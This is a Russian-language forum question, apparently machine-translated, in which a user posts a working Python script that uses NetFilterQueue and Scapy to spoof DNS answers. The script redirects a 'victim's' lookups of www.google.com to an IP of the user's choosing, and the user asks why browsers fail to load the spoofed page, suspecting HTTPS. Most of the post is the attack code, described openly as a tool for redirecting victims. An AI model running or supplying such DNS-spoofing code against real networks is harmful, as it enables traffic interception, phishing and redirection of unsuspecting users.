Подмена DNS с помощью Python и NetFilterQueue - PullRequest
0 голосов
/ 17 марта 2020

Я создал небольшой скрипт в Python для подмены DNS-запросов и ответов, чтобы я мог перенаправить жертву на определенный веб-сайт, когда он выполняет поиск типа "wwww.google.com". В настоящее время он работает только в Python2, поскольку NetFilterQueue в Python3 вызывает ошибку атрибута для метода set_payload.

Вот код:


import netfilterqueue
import scapy

from scapy.layers.inet import IP, UDP
from scapy.layers.dns import DNSRR, DNSQR, DNS


def processPacket(packet): # packte is str
    scapy_packet = IP(packet.get_payload()) 

    if scapy_packet.haslayer(DNSRR):
        qname = scapy_packet[DNSQR].qname
        if "www.google.com" in qname.decode("utf-8"):
            print("*** Spoofing target ***")

            # creating response
            response = DNSRR(rrname = qname, rdata = "IP")
            scapy_packet[DNS].an = response
            scapy_packet[DNS].ancount = 1

            del scapy_packet[IP].len
            del scapy_packet[IP].chksum

            del scapy_packet[UDP].len
            del scapy_packet[UDP].chksum


            packet.set_payload(str(scapy_packet)) 

    packet.accept() 
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, processPacket) 
queue.run()

Для выполнения этого вы нужно правильно настроить iptables для перехвата пакетов внутри очереди. Это на самом деле работает, если я нацеливаюсь на www.google.com и устанавливаю указанный c IP (в коде, который я оставил в поле rdata как IP, вы должны поместить реальный адрес), и я пингую www.google.com, я получу IP, который я установить в коде как ответ, НО, когда я на самом деле наберу www.google.com в строке поиска (Firefox), страница не загрузится и выдаст ошибку. Я попробовал это локально, я также установил сервер Apache2 на машине, поэтому я должен видеть страницу Apache2 при поиске www.google.com.

Это связано с тем, что Google использует HTTPS ? Или это больше похоже на конфигурацию безопасности на моем маршрутизаторе?

Спасибо!

...